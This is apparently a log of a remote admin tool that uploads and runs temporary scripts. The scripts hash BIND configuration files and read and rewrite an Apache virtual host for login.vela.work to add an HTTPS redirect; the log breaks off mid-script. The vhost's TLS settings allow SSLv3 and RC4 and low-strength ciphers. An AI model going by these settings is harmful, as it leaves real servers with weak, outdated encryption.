7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-19 11:25:59: Establishing a connection
2026-06-19 11:25:59: 

PUT: /tmp/pkp893945

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:25:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp893945; rm /tmp/pkp893945'

2026-06-19 11:25:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:26:06: Establishing a connection
2026-06-19 11:26:06: 

PUT: /tmp/pkp110345

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_login_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:26:06: 

chmod 755 /tmp/pkp110345; /tmp/pkp110345; rm /tmp/pkp110345

2026-06-19 11:26:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_login_work.conf 39

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-19 11:26:06: 

PUT: /tmp/pkp644842

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_login_work.conf
TARGET=/etc/apache2/sites-enabled/vela_login_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_login_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf= 1'
fi


2026-06-19 11:26:07: 

chmod 755 /tmp/pkp644842; /tmp/pkp644842; rm /tmp/pkp644842

2026-06-19 11:26:07: 




2026-06-19 11:26:07: 

PUT: /tmp/pkp568107

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_login_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:26:07: 

chmod 755 /tmp/pkp568107; /tmp/pkp568107; rm /tmp/pkp568107

2026-06-19 11:26:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_login_work.conf 39

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-19 11:26:07: 

PUT: /tmp/pkp927091

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_login_work.conf
TARGET=/etc/apache2/sites-enabled/vela_login_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
